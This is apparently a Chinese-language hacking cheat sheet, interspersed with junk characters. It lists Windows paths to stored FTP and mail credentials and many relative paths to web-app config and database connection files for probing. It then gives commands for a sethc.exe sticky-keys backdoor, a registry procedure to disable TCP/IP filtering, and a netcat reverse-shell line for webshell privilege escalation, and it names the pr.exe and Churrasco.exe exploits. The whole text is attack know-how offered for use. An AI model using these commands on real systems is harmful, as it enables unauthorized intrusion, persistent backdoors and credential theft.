& r% t. R. f- y. I# ^c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
( f5 n7 r1 v, ^0 YC:\Program Files\Foxmal\accounts.cfg
0 }, l3 v. Z$ d. X( I  D1 aC:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
+ C8 _, n7 Y4 v/ f: fC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
- E3 d8 c% M; U2 T  S! Z% m# y5 J* ]c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
& W% k. O9 ~, e8 t; y1 _C:\Program Files\FlashFXP\flashfxp.exe
/ B# A' L/ R: N- cc:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
6 D! Q  J& D9 Q; G1 lc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

" t- w& @8 N) O+ l# e3.网站相对路径:

/config.php
3 ?) p3 J6 `3 y, T! Q/ b1 T../../config.php
../config.php
../../../config.php
% w7 g: D$ ?8 P: y/config.inc.php
./config.inc.php
8 @, u  B3 P) l- e& g../../config.inc.php
( U  h. c& L" U$ N0 Y../config.inc.php
../../../config.inc.php
3 V" X  Q' @8 d  ?3 W/conn.php
./conn.php
../../conn.php
3 t" t$ D7 Q3 }../conn.php
# X9 S# x0 z( n../../../conn.php
( q8 M4 _4 x; g- y3 B/conn.asp
./conn.asp
../../conn.asp
2 D  C; c/ l5 F. [../conn.asp
# r4 C& ]% t: b( r4 j' v../../../conn.asp
6 E3 R4 C: @& P+ R# B/config.inc.php
6 T  M8 I; {+ `2 Q9 a./config.inc.php
../../config.inc.php
../config.inc.php
5 h. ?8 P1 K1 O" R$ P../../../config.inc.php
/config/config.php
../../config/config.php
../config/config.php
( y- T. g& q# c../../../config/config.php
/config/config.inc.php
4 Y/ y3 P9 s% ?./config/config.inc.php
2 Z- z+ ~+ }. h) F../../config/config.inc.php
2 o0 E4 |) g8 B4 m../config/config.inc.php
../../../config/config.inc.php
' V* y- @0 P! [" i' J, {/config/conn.php
1 u8 A+ g! `3 A0 L+ c( _./config/conn.php
9 S7 n, f5 m% {. D; U../../config/conn.php
../config/conn.php
../../../config/conn.php
/config/conn.asp
./config/conn.asp
../../config/conn.asp
/ p# o  P8 v! _1 ~0 b$ O3 I2 C7 I7 L../config/conn.asp
0 `; Z' s3 E6 \1 g7 F) Z8 ?4 V' }../../../config/conn.asp
# _* ], c7 r0 c8 H- T( F/config/config.inc.php
' Y+ Q- W( N9 {6 N8 Z0 O& h/ ^./config/config.inc.php
# O& b* ^; z9 w& ~* a7 Y; _5 f, C../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/data/config.php
../../data/config.php
0 d$ ~3 Z9 W1 e; k../data/config.php
../../../data/config.php
2 }# n4 w0 N6 W% k) w# `/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
2 {0 a" H4 k' ]. K' ~../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
0 D% a% ]3 {/ X: F- b4 ?8 |0 y./data/conn.php
; ~1 ?5 e% z$ K( I../../data/conn.php
../data/conn.php
: y$ ]  r% [2 [: A../../../data/conn.php
  y* E9 S! }9 c: s( j/data/conn.asp
./data/conn.asp
/ P. t2 J8 E5 f6 \' m2 y  f+ E6 A  f../../data/conn.asp
  a. M6 l3 A2 G  j) J3 F../data/conn.asp
../../../data/conn.asp
0 Z0 \' S0 L9 y! f& g/data/config.inc.php
, U# A+ j. Y( A, O) x  B/ i( S- D* h./data/config.inc.php
) O2 j0 v7 F$ Z2 V% E7 }  U8 }../../data/config.inc.php
+ q. M5 n+ q. M, t" F../data/config.inc.php
../../../data/config.inc.php
9 a3 i5 }1 p: v2 a+ I6 |/ _' E/include/config.php
../../include/config.php
../include/config.php
' y2 u9 |/ d/ M$ o& I; H../../../include/config.php
/include/config.inc.php
./include/config.inc.php
+ h; x( Q. D( C% H1 A../../include/config.inc.php
$ q- a" e! t* D. u+ q../include/config.inc.php
& B' n& y; p* S' Q5 t../../../include/config.inc.php
/include/conn.php
./include/conn.php
- }& Y5 g6 ^6 c6 q1 [1 y2 n../../include/conn.php
4 k2 s, i8 n" ?7 p6 Q../include/conn.php
) O. `! ^" S2 y8 D  F4 f../../../include/conn.php
; N) k; X, k  }8 m8 B/include/conn.asp
$ b7 o9 ]" h5 S2 D2 V+ b./include/conn.asp
../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
5 A- y' d5 _- M, Z/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
& B% s; |* j. E  t  |0 s../../../include/config.inc.php
' j1 J" g2 [+ A+ F9 v/inc/config.php
../../inc/config.php
1 }# w) _  S: n, @; u% e../inc/config.php
../../../inc/config.php
2 S* b. b6 n9 p& L2 \6 Q/inc/config.inc.php
0 H* G5 F4 Y  y0 S$ N$ U1 k- y./inc/config.inc.php
% E8 t( \! m! p+ n7 Y+ R3 K. Z../../inc/config.inc.php
../inc/config.inc.php
" N1 E" y/ q1 o2 a../../../inc/config.inc.php
) X4 }  Q- V* K. C/inc/conn.php
./inc/conn.php
../../inc/conn.php
& ?8 C+ J$ r: K../inc/conn.php
/ b2 ]/ }6 x; T" u0 Q- Q$ B2 Q3 ?* x$ s../../../inc/conn.php
# L" Y" C! w! b9 x4 ?5 U% _& `/inc/conn.asp
./inc/conn.asp
& w$ T3 j! s" L) d" L: o../../inc/conn.asp
0 {0 U" l/ y2 y2 f2 b; r# F7 p$ P../inc/conn.asp
8 X, v/ w+ [) c& Q! T4 f. X# M3 l0 {4 m../../../inc/conn.asp
4 f; F) v( B  u6 e* O- v- n/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
6 j* ?  q6 N; V% k- k& u2 }; \9 L../../../inc/config.inc.php
/index.php
./index.php
. u  J1 ?( l" _& t# x../../index.php
../index.php
../../../index.php
/index.asp
./index.asp
5 f  a: a; `" t0 B9 y  g" t1 [# Y2 Z../../index.asp
: E5 L6 r8 L/ U% i, ~' o../index.asp
; ^$ S9 V2 c% i0 t( i8 J../../../index.asp
替换SHIFT后门
1 q/ k, u9 D: l- c4 n　attrib c:\windows\system32\sethc.exe -h -r -s

; ~$ i/ Z( d) U　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
' b$ n+ x3 E# E9 e
7 O" {2 o; N% O; I! u  [　　del c:\windows\system32\sethc.exe
, `+ N2 b. D! _1 o: {( X( c, S; z( {
4 |; b* ~' _  D　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
) G$ y/ `: P* J: P! l- h
, `& j; p9 u( Y( M( s: Z　　attrib c:\windows\system32\sethc.exe +h +r +s

: I6 Y+ A3 A! b% p. X( O+ ^　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
0 W4 M8 [6 Y( }! f' ~TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
& P% k1 l" S3 [1 s3 zHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
# X, R+ Q  l8 u
分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
4 o  n4 p1 C  q0 e) U% f命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
3 d, J& K! \2 k2 B! p" p+ N0 Q  c4 q; Z
5 i: f3 j) G2 x再将以上三个文件分别用
7 v7 x4 C4 }; Vregedit -s D:\a.reg
7 l9 K6 C! g2 |, i, hregedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可
# K9 b; F3 ^8 t! [5 U, ?0 S% o# O) _
webshell提权小技巧
cmd路径:
! E( Z2 p6 w0 O# Xc:\windows\temp\cmd.exe
' x, i, j! v& R& o' s. K5 Wnc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
" Q5 J8 b& |1 u; h& i- G- _( T通常都不会成功。
0 t+ q6 e( X+ M$ n# p  M8 V( }
. R6 [% c# e( }3 e. p. I而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
0 [. M( J6 o6 h. y  L( `1 W; e命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
; O7 v. }# o4 R! T% P这个不是重点
4 M. @' @* b6 Y8 t0 ?; h我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功